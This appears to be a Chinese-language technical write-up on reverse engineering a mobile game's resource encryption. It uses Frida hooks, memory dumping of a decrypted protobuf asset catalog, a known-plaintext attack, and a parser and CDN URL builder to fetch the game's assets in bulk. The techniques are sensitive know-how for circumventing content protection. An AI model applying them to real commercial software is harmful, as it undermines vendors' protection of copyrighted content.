<h3 id="4-反編譯環境-繞開-jvm" class="phrased">4. 反<wbr>編譯<wbr>環境：<wbr>繞開 JVM</h3>
<p>Ghidra 需要 JVM，而這台機器的 <code>AppleSystemPolicy</code> 核心模組擋掉未簽章的 java——不是工具沙盒的限制，是系統本身，在自己的終端機直接跑也一樣 <code>Kill: 9</code>。</p>
<p>不跟系統打。<code>rz-ghidra</code> 把 Ghidra 反編譯引擎的 C++ 核心（SLEIGH + decompiler）抽出來編成 rizin 外掛，執行時不需要 JVM：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="bash" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="bash" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">git</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> clone</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> --recurse-submodules</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> https://github.com/rizinorg/rz-ghidra.git</span></span>
<span data-line=""><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">cd</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> rz-ghidra</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> &#x26;&#x26; </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">mkdir</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> build</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> &#x26;&#x26; </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">cd</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> build</span></span>
<span data-line=""><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">cmake</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> -DCMAKE_BUILD_TYPE=Release</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> ..</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> &#x26;&#x26; </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">make</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> -j$(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">sysctl</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> -n </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">hw.ncpu</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">)</span></span>
<span data-line=""><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">cp</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> *</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">.dylib</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> /opt/homebrew/lib/rizin/plugins/</span></span></code></pre></figure>
<p><strong>坑一</strong>：光複製 <code>.dylib</code> 不夠，還要把 build 出的 <code>.sla</code>（編譯後的 sleigh 語言規格）放回原始碼樹裡跟 <code>.slaspec</code> 同一層，並設 <code>SLEIGHHOME</code>。錯誤訊息不會提到少了資料檔。</p>
<p><strong>坑二</strong>：<code>rizin -q -c "s &#x3C;addr>; af; pdg"</code> 的 <code>af</code> 若在某位址落進另一個更早、更大的函式範圍內，會沿用既有邊界，反編譯出<strong>不相關的函式內容</strong>。我曾因此誤判某位址是 IL2CPP 共用的泛型 Dictionary 查表邏輯，一度以為某個關鍵值是查表得來而非算出來的。</p>
<figure class="diagram"><svg viewBox="0.00 0.00 1040.00 67.00" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;height:auto;display:block;margin:0 auto" role="img" aria-label="metadata 取得流程">
<g class="graph" transform="scale(1 1) rotate(0) translate(4 62.83)">
<polygon fill="none" stroke="none" points="-4,4 -4,-62.83 1035.75,-62.83 1035.75,4 -4,4"></polygon>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="37.72" cy="-29.42" rx="37.72" ry="29.42"></ellipse>
<text text-anchor="middle" x="37.72" y="-33.62" font-family="Helvetica,sans-Serif" font-size="14.00">USB</text>
<text text-anchor="middle" x="37.72" y="-16.82" font-family="Helvetica,sans-Serif" font-size="14.00">iproxy</text>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="189.62" cy="-29.42" rx="78.18" ry="29.42"></ellipse>
<text text-anchor="middle" x="189.62" y="-33.62" font-family="Helvetica,sans-Serif" font-size="14.00">Frida</text>
<text text-anchor="middle" x="189.62" y="-16.82" font-family="Helvetica,sans-Serif" font-size="14.00">spawn + attach</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M75.77,-29.42C83.17,-29.42 91.22,-29.42 99.52,-29.42"></path>
<polygon fill="currentColor" stroke="currentColor" points="99.43,-32.92 109.43,-29.42 99.43,-25.92 99.43,-32.92"></polygon>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="352.52" cy="-29.42" rx="48.72" ry="29.42"></ellipse>
<text text-anchor="middle" x="352.52" y="-33.62" font-family="Helvetica,sans-Serif" font-size="14.00">掃記憶體</text>
<text text-anchor="middle" x="352.52" y="-16.82" font-family="Helvetica,sans-Serif" font-size="14.00">找 magic</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M268.24,-29.42C276.34,-29.42 284.48,-29.42 292.33,-29.42"></path>
<polygon fill="currentColor" stroke="currentColor" points="292.06,-32.92 302.06,-29.42 292.06,-25.92 292.06,-32.92"></polygon>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="525.59" cy="-29.42" rx="88.34" ry="29.42"></ellipse>
<text text-anchor="middle" x="525.59" y="-33.62" font-family="Helvetica,sans-Serif" font-size="14.00">dump</text>
<text text-anchor="middle" x="525.59" y="-16.82" font-family="Helvetica,sans-Serif" font-size="14.00">解密後的 metadata</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M401.63,-29.42C409.24,-29.42 417.34,-29.42 425.61,-29.42"></path>
<polygon fill="currentColor" stroke="currentColor" points="425.46,-32.92 435.46,-29.42 425.46,-25.92 425.46,-32.92"></polygon>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="756.52" cy="-29.42" rx="106.59" ry="18"></ellipse>
<text text-anchor="middle" x="756.52" y="-25.22" font-family="Helvetica,sans-Serif" font-size="14.00">Il2CppInspectorRedux</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M614.12,-29.42C622.01,-29.42 630.08,-29.42 638.18,-29.42"></path>
<polygon fill="currentColor" stroke="currentColor" points="638.1,-32.92 648.1,-29.42 638.1,-25.92 638.1,-32.92"></polygon>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="965.43" cy="-29.42" rx="66.32" ry="29.42"></ellipse>
<text text-anchor="middle" x="965.43" y="-33.62" font-family="Helvetica,sans-Serif" font-size="14.00">56 萬筆</text>
<text text-anchor="middle" x="965.43" y="-16.82" font-family="Helvetica,sans-Serif" font-size="14.00">方法名 ↔ 位址</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M863.4,-29.42C871.48,-29.42 879.54,-29.42 887.39,-29.42"></path>
<polygon fill="currentColor" stroke="currentColor" points="887.19,-32.92 897.19,-29.42 887.19,-25.92 887.19,-32.92"></polygon>
</g>
</g>
</svg><figcaption>metadata 取得流程</figcaption></figure>
<p><strong>狀態：完成。</strong></p>
<p>本節來源：<a href="#doc-ClaudeDocs-OVERVIEW"><code>OVERVIEW.md</code></a></p>
<p><strong>References</strong></p>
<ul>
<li><a href="https://github.com/LukeFZ/Il2CppInspectorRedux">https://github.com/LukeFZ/Il2CppInspectorRedux</a></li>
<li><a href="https://github.com/rizinorg/rz-ghidra">https://github.com/rizinorg/rz-ghidra</a></li>
</ul>
<hr>
<h2 id="2-保護層定位-官方加密根本沒開" class="phrased">（2）<wbr>保護<wbr>層<wbr>定位：<wbr>官方<wbr>加密<wbr>根本<wbr>沒開</h2>
<p>這款遊戲用 CRIWARE 音效中介軟體，而 CRIWARE 有官方加密。method map 裡確實有：</p>
<pre tabindex="0"><code>Vision.Sound.CriWareDecrypter.Initialize(string key, bool enableAtom, bool enableMana)
</code></pre>
<p>看起來就是它。hook 上去看實際呼叫參數：</p>
<pre tabindex="0"><code>[+] CriWareDecrypter.Initialize
    key         = "..." (非空)
    enableAtom  = false
    enableMana  = false
</code></pre>
<p>兩個開關都是 false，官方加密根本沒啟用——key 傳進去了但沒人用。真正在保護資源的是遊戲自製的另一層（<code>Vision.Octo.ResourceDecrypter</code>）。</p>
<p>我在這之前對著 CRIWARE 的文件研究了幾個小時。hook 一下看實際值花不到十分鐘。</p>
<blockquote>
<p><strong>更正（分析當時）</strong>：一開始看表面（bundle 沒有音效那組的明文前綴、開頭高熵）就斷定音效與 bundle 是<strong>兩套不同機制</strong>，繞了很大一圈（試過 LZ4、AES、GPU hook、Metal capture）。真正的突破是回到基本功做<strong>已知明文攻擊</strong>——兩者其實共用同一套，只差前綴與起點。教訓：表面差異不等於機制差異，而「看起來不一樣」很容易變成停止驗證的理由。</p>
</blockquote>
<p><strong>狀態：完成。</strong></p>
<p>本節來源：<a href="#doc-ClaudeDocs-OVERVIEW"><code>OVERVIEW.md</code></a></p>
<hr>
<h2 id="3-資源目錄與免越獄離線鏈" class="phrased">（3）<wbr>資源<wbr>目錄<wbr>與免<wbr>越獄<wbr>離線<wbr>鏈</h2>
<h3 id="1-規模論證-為什麼不用被動-hook" class="phrased">1. 規模<wbr>論證：<wbr>為什麼<wbr>不用<wbr>被動 hook</h3>
<p>解密需要每個檔案的原始檔名（<code>address</code>）。檔名不在加密檔裡，在遊戲的資源目錄中。</p>
<p>被動做法：hook 住解密函式，玩遊戲，載入什麼記錄什麼。一定會成功，技術上毫無風險。</p>
<p>問題是規模：</p>
<pre tabindex="0"><code>加密檔案總數        1467
被動 hook 覆蓋率    取決於玩到哪
估計時數            上百小時
覆蓋率保證          無（限時活動資源可能永遠觸發不了）
</code></pre>
<p>當一條路的成本是「時間 × 運氣」而且沒有覆蓋率保證時，它不是一條路，是一個斜坡。</p>
<h3 id="2-先量-再決定值不值得" class="phrased">2. 先量，<wbr>再<wbr>決定<wbr>值<wbr>不值得</h3>
<p><code>octo/pdb/5/100001/octocacheevai</code>，4.4MB。先算熵：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="python" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="python" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">from</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> collections </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">import</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Counter</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">import</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> math</span></span>
<span data-line=""> </span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">d </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> open</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(path, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"rb"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">).read()</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">c </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Counter(d)</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">H </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">sum</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">((n </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">/</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> len</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(d)) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> math.log2(n </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">/</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> len</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(d)) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> n </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">in</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> c.values())</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># -> 8.0 bits/byte</span></span></code></pre></figure>
<p>滿分 8.0，確認是真加密而不只是壓縮或序列化格式——值得花力氣，也代表沒有靜態解析的可能。</p>
<h3 id="3-定位解開後的形式" class="phrased">3. 定位<wbr>解開<wbr>後的<wbr>形式</h3>
<p>索引在執行時一定會被解開來用，所以解開後的形式必然在 process 記憶體裡。不用解它的加密，只要找到它解開後的樣子。</p>
<p>第一版想抓「原地解密」：hook <code>read()</code>，記下 buffer 位址，延遲幾秒後回頭讀同一塊。全錯——native buffer 在函式返回後很快被回收挪作他用（見（附）踩坑）。</p>
<p>改成：等 60 秒讓索引完全載入，然後對整個 process 記憶體掃一個已知會出現在裡面的檔名字串。</p>
<pre tabindex="0"><code>命中區塊  16 MB
命中次數  3563
</code></pre>
<p>那塊就是解開後的完整資源目錄，protobuf 格式。</p>
<h3 id="4-條目結構" class="phrased">4. 條目<wbr>結構</h3>
<pre tabindex="0"><code>1a &#x3C;len>              # 條目 (length-delimited submessage)
  08 &#x3C;varint>         # 1  id          -> 快取目錄名 = ("A"|"R") + id，再 hex 編碼
  12 &#x3C;len> &#x3C;bytes>    # 2  name        -> address（原始檔名）
  18 &#x3C;varint>         # 3  size        -> 明文位元組數
  2a 20 &#x3C;32 bytes>    # 5  md5         -> 快取檔名
  3a &#x3C;len> &#x3C;bytes>    # 7  objectName  -> CDN 物件鍵，6 字元隨機字串
</code></pre>
<p>實例（<code>VisionProject.acf</code>，整筆長度 <code>0x42</code> = 66 bytes，逐欄相加剛好吻合）：</p>
<pre tabindex="0"><code>1a 42  08 01  12 11 "VisionProject.acf"  18 89 77  2a 20 "bd19...8afb"  3a 06 "VQHQAP"
       id=1        name(17)              size=15241   md5(32)            objectName(6)
</code></pre>
<h3 id="5-驗證-對帳-不是-看起來對" class="phrased">5. 驗證：<wbr>對帳，<wbr>不是<wbr>「看起來<wbr>對」</h3>
<p>octo 快取的目錄名是 hex 編碼的 ASCII——<code>413138363439</code> 解出來是 <code>A18649</code>。所以 <code>("A"|"R") + id</code> 可以拿本地 4942 個快取檔逐一對帳：</p>
<pre tabindex="0"><code>id 相符      4929
id 不符        13
不在 catalog    0
                     -> 99.74%
</code></pre>
<figure class="chart"><svg viewBox="0 0 560 280" role="img" aria-label="本地快取對帳（4942 筆）" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="230" x2="536" y2="230" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="234" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="131" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">2500</text><text x="36" y="28" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">5000</text><rect x="94" y="26.92519999999999" width="62" height="203.0748" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:0"></rect><text x="126" y="20.92519999999999" text-anchor="middle" style="fill:var(--ink);font-size:11px">4929</text><text x="126" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">id 相符</text><rect x="258" y="229.4644" width="62" height="0.5355999999999881" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:1"></rect><text x="290" y="223.4644" text-anchor="middle" style="fill:var(--ink);font-size:11px">13</text><text x="290" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">id 不符</text><rect x="422" y="230" width="62" height="0" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:2"></rect><text x="454" y="224" text-anchor="middle" style="fill:var(--ink);font-size:11px">0</text><text x="454" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">不在 catalog</text></svg><figcaption>本地快取對帳（4942 筆）</figcaption></figure>
<p>13 筆不符全部是<strong>記憶體區塊邊界截斷</strong>：address 開頭混進 <code>*</code>、<code>#</code> 等雜訊字元（例：<code>*vo_live_cmn_chr_0</code>）。那是 dump 的邊界問題不是解析邏輯問題，用「address 首字元須為英數」濾掉即可。</p>
<p>這一步是整段最重要的。一個解析器輸出「看起來很像檔名的字串」時，它可能只是在讀雜訊。要有一個<strong>獨立來源</strong>能對帳——這裡是本地快取的目錄名。</p>
<p>最終 <strong>16823 筆</strong> hash 對 address 的完整對照表，批次覆蓋率 99.93%，1595 個檔案、1.5GB。</p>
<h3 id="6-objectname-→-cdn">6. <code>objectName</code> → CDN</h3>
<p>先前逆 <code>OctoAPI.DecryptAes</code> 時解出過一個 CDN 樣板：</p>
<pre tabindex="0"><code>https://asset.game-hololive-dreams.com/{o}
</code></pre>
<p>當時不知道 <code>{o}</code> 是什麼，只當紅鯡魚。解完條目結構才知道：<code>{o}</code> 就是 field 7 的 <code>objectName</code>。</p>
<pre tabindex="0"><code>GET https://asset.game-hololive-dreams.com/UFfHjj
    User-Agent: UnityPlayer/6000.3.0b1
-> 1462529 bytes, md5 = 94bb0bfa4f2a82415c87fff62763ef6a
</code></pre>
<p>catalog 裡的 md5 算的是<strong>密文</strong>，所以下載後可以直接校驗完整性，不需要先解密。</p>
<p><strong>代表越獄只剩「取得一次 catalog」這一個用途。</strong></p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="python" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="python" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">DEFAULT_URL_FORMAT</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "https://asset.game-hololive-dreams.com/</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">{o}</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span></span>
<span data-line=""><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">USER_AGENT</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "UnityPlayer/6000.3.0b1"</span></span>
<span data-line=""> </span>
<span data-line=""> </span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> url_for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(entry: </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">dict</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, url_format: </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">str</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> DEFAULT_URL_FORMAT</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) -> </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">str</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> url_format.replace(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">{o}</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, entry[</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"object_name"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">])</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/hohohololive/blob/main/hohohololive/cdn.py#L21-L26">在 SiaoHub 檢視 siao/hohohololive/hohohololive/cdn.py L21-26</a></p>
<h3 id="7-欄位前進解析-一個假設造成-94-漏抓" class="phrased">7. 欄位<wbr>前進<wbr>解析：<wbr>一個<wbr>假設<wbr>造成 94% 漏抓</h3>
<p>第一版解析器假設 <code>objectName</code>（field 7）緊接在 <code>md5</code>（field 5）之後。結果 608 筆 <code>mdl_chr</code> 只有 2 筆抓到。</p>
<p>中間隔著<strong>重複的 field 6</strong>：</p>
<pre tabindex="0"><code>2a 20 &#x3C;md5>  30 ca8402  30 e19402  30 809502 ...  3a 06 "SswxO0"  42 23 &#x3C;address>
             \____ 6 = 依賴資產 id (repeated varint) ____/  \_ 7 = objectName
</code></pre>
<p>3D 模型每個都依賴貼圖與材質，所以<strong>全部</strong>有 field 6，全被跳過。改成正規的欄位前進解析——依 wire type 逐欄推進 tag → 長度 → 值：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="python" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="python" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        while</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> n:</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            tag </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> blob[p]</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            field, wire </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> tag </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">>></span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 3</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, tag </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 7</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            p </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> wire </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">==</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:                       </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># varint</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                v </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> shift </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                while</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> n:</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                    b </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> blob[p]</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                    v </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (b </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7F</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> shift</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                    p </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                    if</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> not</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (b </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">80</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">):</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                        break</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                    shift </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 7</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> field </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">==</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 6</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                    deps.append(v)</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                else</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                    break</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            elif</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> wire </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">==</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:                     </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># length-delimited</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">>=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> n:</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                    break</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                ln2 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> blob[p]</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                p </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ln2 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">80</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:                  </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># 兩位元組長度, 已超出本筆範圍</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                    break</span></span>
